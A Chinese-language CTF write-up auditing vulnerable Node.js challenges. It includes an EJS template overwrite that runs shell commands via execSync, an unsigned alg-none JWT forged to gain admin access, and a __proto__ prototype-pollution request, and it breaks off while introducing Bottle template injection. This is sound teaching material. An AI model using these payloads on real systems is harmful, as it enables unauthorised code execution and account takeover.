已拿到 a、b、c,算 uuid8 就行了:
from uuid import UUID
a = 183915192278352122275137263475187826728085592578452428749304943
b = 120604030108
c = 7430469441
uid = UUID(int=
((a & ((1 << 48) - 1)) << 80) |
(8 << 76) |
((b & ((1 << 12) - 1)) << 64) |
(2 << 62) |
(c & ((1 << 62) - 1))
)
print(uid)
得到:
63727970-746f-849c-8000-0001bae3f741
接下来以 admin/63727970-746f-849c-8000-0001bae3f741 登录进去,是一个可以进行 RCE 的界面,直接输入 env 拿到 flag。
这真的是文件上传
这题附件结构大概是:
App.zip ├── App.js 网站后端源码,最重要 ├── views/ │ └── index.ejs 网页模板 ├── package.json 项目依赖说明 └── package-lock.json 依赖锁定文件,基本不用看
真正要看的只有 App.js 和 views。
package.json 和 package-lock.json 主要是告诉我们这个 Node.js 项目用了哪些依赖,比如 Express、EJS,一般先看一眼即可,不是主要漏洞点。
App.js:
//original-author: gtg2619
//adapt: P
const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');
const app = express();
app.set('view engine', 'ejs');
app.use(express.json({
limit: '114514mb'
}));
const STATIC_DIR = __dirname;
function serveIndex(req, res) {
// Useless Check , So It's Easier
var whilePath = ['index'];
var templ = req.query.templ || 'index';
if (!whilePath.includes(templ)){
return res.status(403).send('Denied Templ');
}
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
res.status(500).send('Error');
}
}
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null)
) res.status(500).send('Error');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})
app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
})
app.put('/*', (req, res) => {
// Why Filepath Not Check ?
const filePath = path.join(STATIC_DIR, req.path);
fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error');
}
res.status(201).send('Success');
});
});
app.listen(80, () => {
console.log(`running on port 80`);
});
先来补充点前置知识:
- Node.js
Node.js 可以简单理解成用 JavaScript 写后端服务器。
平时见到的 JavaScript 多数是在浏览器里跑,比如按钮点击、页面交互。但 Node.js 是让 JavaScript 跑在服务器上,比如:js const fs = require('fs'); fs.readFileSync('/flag');
这就类似 PHP 里面:php file_get_contents('/flag');
所以这题虽然是 JavaScript 语法,但做题思路还是 Web 源码审计:txt 找路由 找用户可控参数 找文件读写 找模板渲染 找过滤绕过
- Express
Express 可以理解成 Node.js 里的 Flask。
比如 Flask 里这样写路由:python @app.route("/") def index(): return "hello"
Express 里大概这样写:js app.get('/', (req, res) => { res.send('hello'); });
意思都是访问某个路径时,服务器执行对应代码。
所以在看 Node.js 题目时,优先找这些东西:js app.get(...) app.post(...) app.put(...) app.use(...) app.all(...)
它们就是入口。 - views/index.ejs
views/index.ejs不是普通 HTML,而是 EJS 模板文件。EJS 可以理解成可以在 HTML 里面嵌入 JavaScript 代码的模板。
比如普通 HTML:html <h1>Hello</h1>
EJS 可以写成:ejs <h1><%= name %></h1>
服务器渲染时,如果传入:js {name: "yanxi"}
最后网页就会变成:html <h1>yanxi</h1>
更关键的是,EJS 里面还可以执行 JavaScript 代码:js <% code %>
常见语法:js <%= xxx %> 输出 xxx 的结果到页面 <% xxx %> 执行 JavaScript 代码,但不直接输出
所以如果能控制.ejs文件内容,就很有可能拿到 flag 了。 - Node.js / Express 的代码运行模型
Node.js 题目里,看到这种代码:js const express = require('express'); const app = express();
可以先简单理解成:txt express = 一个 Web 框架 app = 这个网站应用本身
类比 Flask:python from flask import Flask app = Flask(__name__)
类比 PHP 的话,就相当于整个index.php/ 后端入口程序。
所以后面看到:js app.use(...) app.get(...) app.post(...) app.put(...)
都可以理解成服务器收到请求后,要执行哪些代码。
以本题为例,看到源码开头几行:js const express = require('express'); const ejs = require('ejs'); const fs = require('fs'); const path = require('path'); const app = express(); app.set('view engine', 'ejs'); app.use(express.json({ limit: '114514mb' })); const STATIC_DIR = __dirname;require()require()可以理解成 PHP 里的require_once,或者 Python 里的import。
所以:js const express = require('express'); const ejs = require('ejs'); const fs = require('fs'); const path = require('path');
就代表这里引入了几个模块:text express Web 框架,负责路由 ejs 模板引擎,负责模板渲染 fs 文件操作模块,负责读写文件 path 路径处理模块,负责拼接路径
app.set('view engine', 'ejs')
代表设置模板引擎为 EJS。
也就是说后面如果出现:js res.render('index')
Express 会默认去找views/index.ejs。
所以审计时看到view engine = ejs,可以联想到:js 后面可能有 EJS 模板渲染 如果能控制 .ejs 文件内容,就可能代码执行
app.use(express.json(...))js app.use(express.json({ limit: '114514mb' }));
这句是一个中间件,作用是:txt 把 JSON 请求体解析到 req.body 里面,并且允许最大 JSON 请求体大小为 114514mb
比如发送:http PUT /test Content-Type: application/json {"content":"MTIz"}
Express 解析完之后,代码里就能用req.body.content拿到MTIz。
这对后面的文件写入很重要,因为后面有:js Buffer.from(req.body.content, 'base64')
__dirname__dirname是 Node.js 里的内置变量,表示当前 App.js 所在目录。
比如项目结构是:txt /app/App.js /app/views/index.ejs
那么__dirname就是/app。
回到源码,开始分析这题:
- 先找路由和入口点
审 Node.js / Express 题,先找:js app.get(...) app.post(...) app.put(...) app.use(...) app.all(...)
本题关键代码有三个入口:js app.use((req, res, next) => { ... }) app.use((req, res, next) => { ... }) app.put('/*', (req, res) => { ... });app.use()也是入口,因为它没有写具体路径,所以所有请求都会先经过它。
整体请求流程是这样的:txt 用户发请求 ↓ 经过 express.json() 解析 JSON ↓ 经过第一个 app.use() 做过滤 ↓ 经过第二个 app.use() 判断是否要渲染目录 ↓ 如果是 PUT 请求,再进入 app.put('/*') 写文件
Express 的中间件是按代码顺序执行的,即:txt 上面先注册的,先执行 下面后注册的,后执行
- 第一段入口:全局过滤中间件
js app.use((req, res, next) => { if (typeof req.path !== 'string' || (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null) ) res.status(500).send('Error'); else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename'); else next(); })
因为它没有具体路径,所以所有请求都会经过这里。req、res、nextjs (req, res, next) => {
这是 JavaScript 的箭头函数,等价于:js function(req, res, next) { }req、res、next是函数参数,不需要提前定义,Express 会自动按顺序传进来:js req 请求对象 Request res 响应对象 Response next 放行函数
类比 Flask:python request 请求信息 return 返回响应
类比 PHP:php $_GET / $_POST / $_SERVER 请求信息 echo / header 返回响应
所以req.path不是作者定义的变量,而是 Express 请求对象自带的属性,表示当前请求路径。比如访问:http GET /views/index.ejs/.?templ=index
Express 会拆成:js req.path = /views/index.ejs/. req.query.templ = index
注意:txt req.path 不包含 ? 后面的参数 req.query 才是 ? 后面的参数
- 第一层判断:检查路径和 templ 参数类型
js if (typeof req.path !== 'string' || (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null) ) res.status(500).send('Error');- 先是检查
req.path:js typeof req.path !== 'string'
typeof
判断一个值的数据类型,比如字符串、数字、对象、undefined 等。
req.path表示当前请求路径。
所以这段代码说明请求路径得是字符串,否则报错,但正常访问网站时,req.path基本一定是字符串,不必在意。 - 接着检查
req.query.templ:js typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null
req.query.templ是 URL 参数里的templ。
所以这段代码表明templ要么是字符串,要么不传,要么传空值。
- 先是检查
- 第二层判断:过滤危险路径
js else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
先看正则:js /js$|\.\./i
拆开:txt js$ 匹配以 js 结尾的字符串 | 或 \.\. 匹配两个点 .. i 忽略大小写
所以它会拦以js结尾和路径里包含..的路径。 next()js else next();
next()就是指放行,继续执行后面的中间件或路由。如果没有next(),请求就卡在这里,不会继续往下走。
所以第一段中间件整体逻辑是:txt 所有请求进来 ↓ 检查 req.path 是不是字符串 ↓ 检查 templ 是不是字符串或未定义 ↓ 检查路径是不是以 js 结尾,或者包含 .. ↓ 不符合就拦截 ↓ 符合就 next() 放行
- 第二段入口:目录渲染中间件
js app.use((req, res, next) => { if (req.path.endsWith('/')) serveIndex(req, res); else next(); })endsWith()
字符串方法,判断字符串是否以某个内容结尾。
这段代码意思是:txt 如果请求路径以 / 结尾,就执行 serveIndex(req, res) 如果不是以 / 结尾,就 next() 放行
- 溯源
serveIndex(req, res)js function serveIndex(req, res) { // Useless Check , So It's Easier var whilePath = ['index']; var templ = req.query.templ || 'index'; if (!whilePath.includes(templ)){ return res.status(403).send('Denied Templ'); } var lsPath = path.join(__dirname, req.path); try { res.render(templ, { filenames: fs.readdirSync(lsPath), path: req.path }); } catch (e) { res.status(500).send('Error'); } }templjs var templ = req.query.templ || 'index';
意思是:txt 如果 URL 里传了 templ,就用用户传的 templ 如果没传,就默认用 index
- 白名单限制
js var whilePath = ['index']; if (!whilePath.includes(templ)){ return res.status(403).send('Denied Templ'); }
白名单里只有index,所以templ的值只能是index,因此这里不能通过templ随便渲染其他文件。
最终只能执行:js res.render('index', ...)
而 Express + EJS 默认会找views/index.ejs,所以关键是:text 如果能覆盖 views/index.ejs,再访问 /,就会渲染我们写进去的模板。
path.join()js var lsPath = path.join(__dirname, req.path);
path.join()
Node.js 里
path模块提供的路径拼接函数,作用是把多个路径片段拼成一个完整路径,并且会顺便对路径做规范化处理。
比如:js path.join("/app", "/upload/")
结果就是/app/upload/。
更关键的是,它会处理路径里的.,比如:js path.join("/app", "/views/index.ejs/.")
结果会被规范化成/app/views/index.ejs。
然后看这句:js var lsPath = path.join(__dirname, req.path);
__dirname是当前项目目录,req.path是用户访问的路径,所以这句就是根据用户访问的路径拼出一个服务器本地路径。res.render()js res.render(templ, { filenames: fs.readdirSync(lsPath), path: req.path });res.render()
让 Express 去渲染指定的模板文件,并把渲染后的 HTML 页面返回给用户。
因为前面设置过:js app.set('view engine', 'ejs');
所以这里执行:js res.render('index', ...)
实际上就是去渲染views/index.ejs。
如果能把views/index.ejs覆盖成恶意 EJS 模板,那么服务器下次渲染首页时,就会执行写进去的 JavaScript 代码。fs.readdirSync()js filenames: fs.readdirSync(lsPath),
fs.readdirSync()
Node.js 里 fs 文件模块提供的同步读目录函数,作用是读取某个目录下有哪些文件或文件夹,并把结果以数组形式返回。
比如:js fs.readdirSync("/app/views")
如果 /app/views 目录下有index.ejs和test.ejs,那么返回结果就是:js ["index.ejs", "test.ejs"]
在本题里:js filenames: fs.readdirSync(lsPath)
意思就是根据用户访问的路径拼出服务器本地目录,然后读取这个目录下面的文件名列表,再传给 index.ejs 模板。
总结一下,serveIndex(req, res)的作用就是:
当请求路径以/结尾时,把这个路径当作服务器上的一个目录,读取该目录下的文件列表,然后固定渲染views/index.ejs,并把文件列表和当前路径传进模板。
它的整体流程可以概括成:txt 取 URL 里的 templ 参数 ↓ 检查 templ 是否在白名单 ['index'] 中 ↓ 用 path.join(__dirname, req.path) 拼出服务器本地路径 ↓ 用 fs.readdirSync(lsPath) 读取这个目录下的文件名 ↓ 用 res.render('index', ...) 渲染 views/index.ejs
所以这一段本身不是上传点,也不是写文件点,它的关键作用是:txt 只要能覆盖 views/index.ejs ↓ 再访问一个以 / 结尾的路径 ↓ 程序就会渲染 index.ejs ↓ 从而触发我们写进去的 EJS 代码
因此后面的思路就是想办法覆盖views/index.ejs,最后再访问/来触发模板执行。
- 溯源
- 第三段入口:PUT 写文件路由
js app.put('/*', (req, res) => { // Why Filepath Not Check ? const filePath = path.join(STATIC_DIR, req.path); fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => { if (err) { return res.status(500).send('Error'); } res.status(201).send('Success'); }); });app.put('/*')表示所有 PUT 请求都会进入这里。PUT 请求
让服务器在指定位置创建或覆盖一个资源,比如上传/覆盖某个文件。
这里最关键的是两行:js const filePath = path.join(STATIC_DIR, req.path); fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), ...)
Buffer
Node.js 里一块用来存放二进制数据的内存区域,常用于处理文件内容、图片、压缩包、网络数据等不是普通字符串的数据。
所以req.path是用户可控的请求路径,req.body.content是用户可控的 JSON 内容 。
所以这段代码的意思是:txt 用户请求哪个路径 ↓ 程序就把这个路径拼到项目目录下 ↓ 再把 content 里的 base64 内容解码 ↓ 写入到对应文件
其实就是一个任意文件写入。
- 第一段入口:全局过滤中间件
- 构造利用链
目标是覆盖views/index.ejs,但是如果直接请求:http PUT /views/index.ejs
会因为路径以js结尾,被第一段中间件拦截:js /js$|\.\./i.test(req.path)
可以利用 path.join() 会规范化路径的特点,构造:http PUT /views/index.ejs/.
实现绕过。
同时它不是以/结尾,所以不会进入serveIndex(req, res),而是会继续走到app.put(),覆盖了真正的模板文件。- 写入恶意 EJS 模板
EJS 里可以执行 JavaScript 代码,所以写入:js <%- process.mainModule.require('child_process').execSync('cat /flag').toString() %>
这里简单拆一下:js process.mainModule.require('child_process') 引入命令执行模块 execSync('cat /flag') 执行 cat /flag toString() 把命令结果转成字符串 <%- ... %> 把结果输出到页面
上面这段模板内容 base64 后是:text PCUtIHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2NhdCAvZmxhZycpLnRvU3RyaW5nKCkgJT4=
访问/views/index.ejs/.并发送 JSON 格式的 PUT 请求:json {"content":"PCUtIHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2NhdCAvZmxhZycpLnRvU3RyaW5nKCkgJT4="}
即:
返回Success就说明模板被覆盖。 - 触发模板渲染
覆盖完成后,再访问首页请求/,此时会进入第二段中间件:js if (req.path.endsWith('/')) serveIndex(req, res);
然后执行:js res.render('index', ...)
此时渲染的已经不是原来的views/index.ejs,而是刚刚写进去的恶意模板,所以命令会被执行。
但是返回:txt cat: /flag: No such file or directory
说明没有/flag这个文件,把刚刚的 payload 模板改成:js <%- process.mainModule.require('child_process').execSync('env').toString() %>
然后重复一次步骤就行了。
最终利用链就是:txt PUT /views/index.ejs/. ↓ 绕过 js$ 过滤 ↓ path.join() 规范化路径 ↓ 覆盖 views/index.ejs ↓ GET / ↓ res.render('index') ↓ EJS 执行命令 ↓ 拿到 flag
- 写入恶意 EJS 模板
长夜月
app.js:
const fs = require('fs');
const express = require('express');
//const session = require('express-session');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require("crypto");
const cookieParser = require('cookie-parser');
const DEFAULT_CONFIG = {
name: "EverNight",
default_path: "The Remembrance",
place: "Amphoreus",
min_public_time: "2025-08-03"
};
const CONFIG = {
name: "EverNight",
default_path: "The Remembrance",
place: "Amphoreus"
}
const users = new Map();
const FLAG = process.env.FLAG || 'oXgAmE{Just_A_Flag}'
const JWT_SECRET = crypto.randomBytes(32).toString('hex');
const app = express();
app.set('view engine', 'ejs');
app.use(express.static('public'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));
app.use(cookieParser());
if (!fs.existsSync('p@sswd.txt')) {
fs.writeFileSync('p@sswd.txt', crypto.randomBytes(16).toString('hex').trim());
}
users.set('admin', fs.readFileSync('p@sswd.txt').toString())
// function requireLogin(req, res, next) {
// const token = req.cookies.token || req.headers.authorization?.split(' ')[1];
// if (!token) {
// return res.redirect('/login', );
// }
// }
function merge(dst, src) {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in src && key in dst) {
merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
}
function generateJWT(username, password) {
return jwt.sign({ username, password }, JWT_SECRET, { expiresIn: '10h' });
}
function Check(token){
if(!token){
res.redirect('/login');
}
const data = jwt.decode(token);
if(data.username === "admin"){
return true;
} else{
return false;
}
}
function Admin_Check(req, res, next){
const token = req.cookies.token || req.headers.authorization?.split(' ')[1];
if(!token){
return res.redirect('/login', {message: "Need Login!"});
}
try{
const data = jwt.decode(token);
if(data.username === 'admin'){
return next();
} else{
return res.redirect('/trailblazer');
}
} catch (err){
return res.redirect('/login');
}
}
app.get('/', (req, res) => {
res.render('index');
})
app.get('/login', (req, res) => {
res.render('login');
})
app.get('/register', (req, res) => {
res.render('register', { message: '' });
});
app.get('/logout', (req, res) => {
res.clearCookie('token');
res.redirect('/login');
});
app.post('/login', (req, res) => {
let username = req.body.username;
let password = req.body.password;
let token = req.cookies.token || req.headers.authorization?.split(' ')[1];
if (!users.has(username)) {
return res.render('login', { message: 'Invalid username or password.' });
}
if (users.get(username) !== password) {
return res.render('login', { message: 'Invalid username or password.' });
}
if(Check(token)){
res.redirect('/admin_club1st');
} else{
res.redirect('/trailblazer');
}
});
app.post('/register', (req, res) => {
let username = req.body.username;
let password = req.body.password;
if (users.has(username)) {
return res.render('register', { message: 'Username already exists.' });
}
users.set(username, password);
const data = generateJWT(username, password);
res.cookie('token', data, {httpOnly: false});
res.redirect('/login');
});
app.get('/admin_club1st', Admin_Check, (req, res) => {
return res.render('admin');
})
app.post('/admin_club1st', Admin_Check, (req, res) => {
let body = req.body;
let evernight = Object.create(CONFIG);
let min_public_time = CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time;
merge(evernight, body);
let en = Object.create(CONFIG);
if (en.min_public_time < "2025-08-03") {
return res.render('march7th', {message: FLAG});
}
return res.render('evernight');
});
app.get('/trailblazer', (req, res) => {
return res.render('trailblazer', {message: "Failed Amphoreus"})
})
app.listen(80, () => {
console.log('Server is running on port 80');
})
这里的部分考点是 JS 原型链污染,补充点前置知识:
- 原型
在 JS 里,每个对象除了自己的属性外,还可以有一个“原型对象”。如果当前对象自己没有某个属性,JS 会去它的原型对象上继续找。
比如:js const parent = { name: "EverNight" }; const child = Object.create(parent); console.log(child.name); // EverNight
这里:js Object.create(parent)
Object.create是 JS 自带方法,作用是创建一个新对象,并让这个新对象的原型指向parent。
所以:js child.name
虽然对象child没有name属性,但它的原型对象parent里有name属性,所以能取到。 - 原型链
如果原型对象也没有这个属性,它还会继续往它的原型对象上找,一层一层往上找,这条查找路线就叫原型链。 __proto____proto__是 JS 对象上的特殊属性,可以用来访问这个对象的原型。
比如:js const parent = { name: "EverNight" }; const child = Object.create(parent); console.log(child.__proto__ === parent); // true
即child.__proto__就是child的原型,也就是parent。- 原型链污染
用户通过可控输入,修改了某个对象的原型,导致其他对象也能继承到被污染的属性,这就是原型链污染。
比如:js const CONFIG = {}; const a = Object.create(CONFIG); const b = Object.create(CONFIG); a.__proto__.min_public_time = "2025-08-02"; console.log(b.min_public_time); // 2025-08-02
这里a和b的原型都指向CONFIG。
所以修改:js a.__proto__.min_public_time
本质上就是修改:js CONFIG.min_public_time
于是b也能通过原型链读到这个属性,这就是原型链污染。
回到好长的源码,慢慢审计吧:
- 先找路由
源码里主要有很多路由,去掉各种用res.render()渲染页面的不重要的路由,还剩这些路由:/login登录路由/register注册路由/admin_club1st管理员路由
最重要的很明显是/admin_club1st管理员路由,定位到:js app.post('/admin_club1st', Admin_Check, (req, res) => { let body = req.body; let evernight = Object.create(CONFIG); let min_public_time = CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time; merge(evernight, body); let en = Object.create(CONFIG); if (en.min_public_time < "2025-08-03") { return res.render('march7th', { message: FLAG }); } return res.render('evernight'); });- 但首先:
js app.post('/admin_club1st', Admin_Check, (req, res) => {
说明要访问这个路由,要先通过Admin_Check()这个方法。
所以这里不继续往下审计/admin_club1st管理员路由了,绕过Admin_Check()方法后再继续审计。
其次重要的是/login登录路由:js app.post('/login', (req, res) => { let username = req.body.username; let password = req.body.password; let token = req.cookies.token || req.headers.authorization?.split(' ')[1]; if (!users.has(username)) { return res.render('login', { message: 'Invalid username or password.' }); } if (users.get(username) !== password) { return res.render('login', { message: 'Invalid username or password.' }); } if (Check(token)) { res.redirect('/admin_club1st'); } else { res.redirect('/trailblazer'); } });- 定义变量
tokenjs let token = req.cookies.token || req.headers.authorization?.split(' ')[1];
变量token优先取:js req.cookies.token
也就是浏览器 Cookie 里的token。
如果 Cookie 里没有 token,就取:js req.headers.authorization?.split(' ')[1]
这个一般对应请求头:js Authorization: Bearer xxxxx.yyyyy.zzzzz
执行"Bearer xxxxx.yyyyy.zzzzz".split(' ')会得到["Bearer", "xxxxx.yyyyy.zzzzz"]。
所以.split(' ')[1]取的就是xxxxx.yyyyy.zzzzz。
中间的?.是为了防止authorization不存在时报错。比如没有这个请求头时,普通写法可能报错,而:js req.headers.authorization?.split(' ')[1]
会直接得到undefined。
结论:
这句代码就是先从 Cookie 里找token,如果没有,再从Authorization请求头里取 Bearer token。 - 验证账号、密码、Cookie 中的 token 属性
js if (!users.has(username)) { return res.render('login', { message: 'Invalid username or password.' }); } if (users.get(username) !== password) { return res.render('login', { message: 'Invalid username or password.' }); } if (Check(token)) { res.redirect('/admin_club1st'); } else { res.redirect('/trailblazer'); }
会依次检查:- 用户传入的
username是否在users这个Map()对象中储存 - 用户传入的
password是否与users中对应的键值对的键值相等 - 自定义方法
check()检测变量token是否合格。
但实际上这里只需要check()方法认证通过就可以跳转到/admin_club1st管理员路由。 - 用户传入的
最后是/register注册路由:js app.post('/register', (req, res) => { let username = req.body.username; let password = req.body.password; if (users.has(username)) { return res.render('register', { message: 'Username already exists.' }); } users.set(username, password); const data = generateJWT(username, password); res.cookie('token', data, { httpOnly: false }); res.redirect('/login'); });
意思就是:- 检测新注册的
username是否和原有的重复,没有重复就把新注册的username和password的键值对存储到users中。 - 通过自定义方法
generateJWT()根据username和password创建一个token属性塞到 Cookie 里面。 - 跳转到
/login页面。
- 绕过
Admin_Check()和check()得到管理员权限
由于源码中:js if (!fs.existsSync('p@sswd.txt')) { fs.writeFileSync('p@sswd.txt', crypto.randomBytes(16).toString('hex').trim()); } users.set('admin', fs.readFileSync('p@sswd.txt').toString())
意思就是admin账号会生成一个随机密码,无法得知,不能用账号密码登录,只能想别的方法绕过。
根据上一步骤得知限制了访问/admin_club1st管理员路由的函数主要就是Admin_Check()和check()。
定位到Admin_Check()方法:js function Admin_Check(req, res, next) { const token = req.cookies.token || req.headers.authorization?.split(' ')[1]; if (!token) { return res.redirect('/login', { message: "Need Login!" }); } try { const data = jwt.decode(token); if (data.username === 'admin') { return next(); } else { return res.redirect('/trailblazer'); } } catch (err) { return res.redirect('/login'); } }
定位到check()方法:js function Check(token) { if (!token) { res.redirect('/login'); } const data = jwt.decode(token); if (data.username === "admin") { return true; } else { return false; } }
两个函数的核心点相同:js const data = jwt.decode(token); if (data.username === "admin") {jwt.decode()
只负责把 JWT 里面的 payload 解码出来。
它不会校验签名,也不会判断这个 token 是不是服务端用
JWT_SECRET签出来的。
正常来说应该用:js jwt.verify(token, JWT_SECRET)
verify()才会检查签名是否合法。
但是这里用了decode(),所以JWT_SECRET虽然写了:js const JWT_SECRET = crypto.randomBytes(32).toString('hex');
实际上完全没用上它解 JWT,只是用了JWT_SECRET生成 JWT。
因此可以自己伪造一个 payload 里带admin的 JWT:json { "username": "admin", "password": "1" }
组成 token:txt eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIn0.
也就是:http Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIn0.
这样jwt.decode(token)解出来的结果里:js data.username === "admin"
就成立了。
然后随便注册一个用户yanxi/123,再把 Cookie 里的token改成上面的伪造 token,再访问/admin_club1st,就可以进入管理员页面。 - 继续审计
/admin_club1st管理员路由源码
核心代码是:js let body = req.body; let evernight = Object.create(CONFIG); let min_public_time = CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time; merge(evernight, body); let en = Object.create(CONFIG); if (en.min_public_time < "2025-08-03") { return res.render('march7th', {message: FLAG}); }- 自定义变量
js let body = req.body; let evernight = Object.create(CONFIG); let min_public_time = CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time; let en = Object.create(CONFIG);
Object.create()
用来创建一个新对象,并且把传进去的对象作为新对象的原型。
比如:
js let a = {name: "yanxi"}; let b = Object.create(a);此时
b自己身上没有name属性,但是访问b.name时,会顺着原型链去找a.name。所以结果还是:
js b.name === "yanxi"
定位对象CONFIG:js const CONFIG = { name: "EverNight", default_path: "The Remembrance", place: "Amphoreus" }
定位对象DEFAULT_CONFIG:js const DEFAULT_CONFIG = { name: "EverNight", default_path: "The Remembrance", place: "Amphoreus", min_public_time: "2025-08-03" };
所以:- 对象
evernight和对象en都是以CONFIG为原型创建的新对象。 - 如果对象
CONFIG存在min_public_time属性,对象min_public_time就是对象CONFIG中min_public_time属性的值,否则就是对象DEFAULT_CONFIG中min_public_time属性的值。
目前来看,对象min_public_time就等于"2025-08-03"。
- 对象
- 自定义方法
merge()js merge(evernight, body);
定位merge():js function merge(dst, src) { if (typeof dst !== "object" || typeof src !== "object") return dst; for (let key in src) { if (key in src && key in dst) { merge(dst[key], src[key]); } else { dst[key] = src[key]; } } }
审计一下这个危险函数:- 先看第一句:
js if (typeof dst !== "object" || typeof src !== "object") return dst;
如果dst或src不是对象,就直接返回,说明这个函数只处理对象和对象之间的合并。 - 接着是:
js for (let key in src) {for...in
用来遍历对象里的可枚举属性。
比如:
js let a = {name: "yanxi", age: 18}; for (let key in a) { console.log(key); }会依次拿到
name和age。 - 再看里面的判断:
js if (key in src && key in dst) { merge(dst[key], src[key]); } else { dst[key] = src[key]; }in
JS 自带运算符,判断某个属性能不能在对象或它的原型链上找到。
如果key属性同时存在于对象src和对象dst中,就继续递归合并:js merge(dst[key], src[key]);
否则就直接赋值:js dst[key] = src[key];
- 先看第一句:
- 返回 flag 的核心判断逻辑
js if (en.min_public_time < "2025-08-03") { return res.render('march7th', {message: FLAG}); }
由于对象en不存在min_public_time属性,所以en.min_public_time实际就相当于CONFIG.min_public_time。
但实际上对象CONFIG也不存在min_public_time属性,所以本题的核心就在于为对象CONFIG加上min_public_time属性,并实现:js CONFIG.min_public_time < "2025-08-03"
接着代码会返回并渲染views/march7th.ejs,flag 会被渲染在页面上。
- 自定义变量
- 构造 payload
根据merge()方法,正常情况下,如果传入:json {"name":"test"}
因为evernight里没有name,所以会执行:json evernight.name = "test";
这只能修改evernight自己,影响不到后面的en。
但是如果传入:json {"__proto__":{"min_public_time":"2025-08-02"}}
就会污染原型链上层对象CONFIG,又因为对象evernight和对象en是以CONFIG为原型创建的新对象,对象en将继承被污染后的对象CONFIG的新属性min_public_time。为什么 2025-08-02 可以和 2025-08-03 比较?
这两边是同格式的字符串:
js "2025-08-02" < "2025-08-03"
JavaScript 会按字符串字典序比较。
因为日期格式是
YYYY-MM-DD,所以这种字符串顺序和日期先后顺序刚好一致。
最终请求包:http POST /admin_club1st HTTP/1.1 Host: 靶机地址 Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIn0. Content-Type: application/json {"__proto__":{"min_public_time":"2025-08-02"}}
绳网委托Bottle版
一个留言框,虽然题目提示 Bottle 很明显了,大概率是 SSTI 中的 Bottle SimpleTemplate 注入(STPL 注入),补充点前置知识:
- Bottle 和 STPL
Bottle 可以理解成 Python 里的一个轻量级 Web 框架。
和 Flask 对比:txt Flask 默认模板引擎:Jinja2 Bottle 默认模板引擎:SimpleTemplate,也叫 STPL
STPL 的全称是 SimpleTemplate,是 Bottle 自带的模板引擎。
简单理解:python from bottle import template print(template('Hello {{name}}!', name='World'))
输出:txt Hello World!
这里的:python {{name}}
就是模板表达式,渲染时会被替换成传入的变量name。 - STPL基础语法
STPL 最常见的是三类语法。- 第一类是:
python {{ 表达式 }}
作用是把表达式执行结果输出到页面,比如:python from bottle import template print(template('{{7*7}}'))
输出49。
再比如:python from bottle import template print(template('{{"yanxi".upper()}}'))
输出YANXI。
所以 STPL 里的{{...}}不只是取变量,也可以直接写 Python 表达式。Bottle 官方文档也说了,{{...}}里可以放任意 Python 表达式,只要这个表达式最后能转成字符串输出即可。 - 第二类是:
python % Python代码
作用是执行一行 Python 代码,但不直接输出。
比如:python % name = "yanxi" Hello {{name}}
渲染结果是Hello yanxi。
再比如循环:python <ul> % for i in [1, 2, 3]: <li>{{i}}</li> % end </ul>
渲染结果大概是:html <ul> <li>1</li> <li>2</li> <li>3</li> </ul>
这里注意一点:STPL 里的代码块不是靠缩进结束的,而是靠:python % end
结束。官方文档里也明确说了,STPL 中嵌入 Python 代码时,普通 Python 的缩进规则会被弱化,但是for / if / while这种代码块需要显式用end关闭。 - 第三类是:
python <% 多行 Python 代码 %>
作用是写多行 Python 代码。
比如:python <% name = " yanxi " name = name.strip().upper() %> Hello {{name}}
输出Hello YANXI。
- 第一类是:
- STPL 的转义
STPL 默认会对 HTML 特殊字符做转义,防止直接 XSS。
比如:python from bottle import template print(template('{{name}}', name='<h1>test</h1>'))
输出类似:txt <h1>test</h1>
如果不想转义,可以写:python {{!name}}
比如:python from bottle import template print(template('{{!name}}', name='<h1>test</h1>'))
输出:html <h1>test</h1>
- STPL 和 Jinja2 的区别
STPL 和 Jinja2 很像,都是 Python Web 里的模板引擎,也都可以用:python {{...}}
输出表达式结果,但是核心区别是:txt Jinja2 更像“类 Python 的模板语言” STPL 更像“直接在模板里写 Python”
Jinja2 常见语法是:python {{name}} {% if name %} Hello {{name}} {% endif %}
而 STPL 写法是:python {{name}} % if name: Hello {{name}} % end
也就是说,Jinja2 的语句块用:python {% ... %}
STPL 的语句块用:python % ... % end
Jinja2 的注释是:python {# 注释 #}
STPL 里更接近 Python,本质上是把模板编译成 Python 字节码再执行。
